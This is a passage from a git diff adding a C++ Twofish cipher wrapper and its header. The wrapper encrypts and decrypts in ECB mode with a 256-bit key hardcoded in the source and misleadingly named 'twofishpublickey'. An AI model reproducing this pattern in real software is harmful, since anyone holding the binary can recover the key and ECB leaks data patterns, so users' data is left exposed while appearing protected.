>>= 1; + } + + return p; + } + + + unsigned char twofishpublickey[32] = {0x21,0x05,0x35,0x57,0x81,0xcb,0xad,0x0f,0xf0,0xda,0xaa,0x58,0x36,0x34,0x22,0x16,0x21,0x05,0x35,0x57,0x81,0xcb,0xad,0x0f,0xf0,0xda,0xaa,0x58,0x36,0x34,0x22,0x16 }; + int TWOFISHEnCrypt( const char *lpbufin, int bufinLen, char *lpbufout, int bufoutLen ) + { + bool bFalse = false; + CTwoFish *lpFish = ( CTwoFish*)malloc( sizeof(CTwoFish) ); + if ( lpFish ){ + + bFalse = lpFish->Twofish_ecb( (unsigned char*)lpbufin, (unsigned char*)lpbufout, bufinLen, twofishpublickey, TWOFISH_KEY_256, TWOFISH_ENCRYPT ); + free( lpFish ); + } + if ( bFalse ) + return 0; + return 1; + } + + int TWOFISHDeCrypt( const char *lpbufin, int bufinLen, char *lpbufout, int bufoutLen ) + { + bool bFalse = false; + CTwoFish *lpFish = ( CTwoFish*)malloc( sizeof(CTwoFish) ); + if ( lpFish ){ + + bFalse = lpFish->Twofish_ecb( (unsigned char*)lpbufin, (unsigned char*)lpbufout, bufinLen, twofishpublickey, TWOFISH_KEY_256, TWOFISH_DECRYPT ); + free( lpFish ); + } + if ( bFalse ) + return 0; + return 1; + } \ No newline at end of file diff --git a/twofish.h b/twofish.h new file mode 100644 index 0000000..99281a7 --- /dev/null +++ b/twofish.h @@ -0,0 +1,86 @@ + +#ifndef __TWOFISH__H +#define __TWOFISH__H +#include "StdAfx.h" +#include +#include +#define uint8_t unsigned char +#define uint32_t unsigned int +#define uint16_t unsigned short + + +#define TWOFISH +#define TWOFISH_BLOCKSIZE 16 + enum TWOFISH_KEY + { + TWOFISH_KEY_128 = 128, + TWOFISH_KEY_192 = 192, + TWOFISH_KEY_256 = 256 + }; + + enum TWOFISH_MODE + { + TWOFISH_ENCRYPT, + TWOFISH_DECRYPT + }; + + #ifdef TWOFISH + typedef struct twofish_t + { + uint8_t len; + uint32_t k[40]; + uint32_t s[4][256]; + } twofish_t; + + typedef struct key_t + { + uint8_t len; + uint8_t* k; + } key_t; + typedef struct subkey_t + { + uint8_t len; + uint8_t s[4][4]; + uint8_t me[4][4]; + uint8_t mo[4][4]; + } subkey_t; + #endif + + + class CTwoFish + { + + public: + CTwoFish() {}; + ~CTwoFish() {}; + public: + bool Twofish_ecb (uint8_t* in, uint8_t* out, uint32_t length, uint8_t* key, TWOFISH_KEY keylen = TWOFISH_KEY_256, TWOFISH_MODE mode = TWOFISH_ENCRYPT); + bool Twofish_cbc (uint8_t* in, uint8_t* out, uint32_t length, uint8_t* iv, uint8_t* key, TWOFISH_KEY keylen = TWOFISH_KEY_256, TWOFISH_MODE mode = TWOFISH_ENCRYPT); + + public: + void Twofish_encryt (twofish_t* tf_twofish, uint8_t* data, uint8_t* cypher); + void Twofish_decryt (twofish_t* tf_twofish, uint8_t* cypher, uint8_t* data); + twofish_t* Twofish_setup (uint8_t* s, uint32_t len); + public: + std::string toHex(char* in, int len); + void fromHex(std::string str, char* out, int& len); + private: + void XOR(uint8_t* in, uint8_t* iv); + key_t* expand_key (uint8_t* s, uint32_t len); + uint8_t gf (uint8_t x, uint8_t y, uint16_t m); + subkey_t* Twofish_generate_subkey (key_t* tf_key); + void Twofish_h (uint8_t x[], uint8_t y[], uint8_t s[][4], int stage); + void Twofish_mds_mul (uint8_t y[], uint8_t out[]); + twofish_t* Twofish_generate_ext_k_keys (twofish_t* tf_twofish, + subkey_t* tf_subkey, uint32_t p, uint8_t k); + twofish_t* Twofish_generate_ext_s_keys (twofish_t* tf_twofish, + subkey_t* tf_subkey, uint8_t k); + void Twofish_f (twofish_t* tf_twofish, uint8_t r, uint32_t r0, uint32_t r1, + uint32_t* f0, uint32_t* f1); + uint32_t Twofish_g (twofish_t* tf_twofish, uint32_t x); + + }; + + + +#endif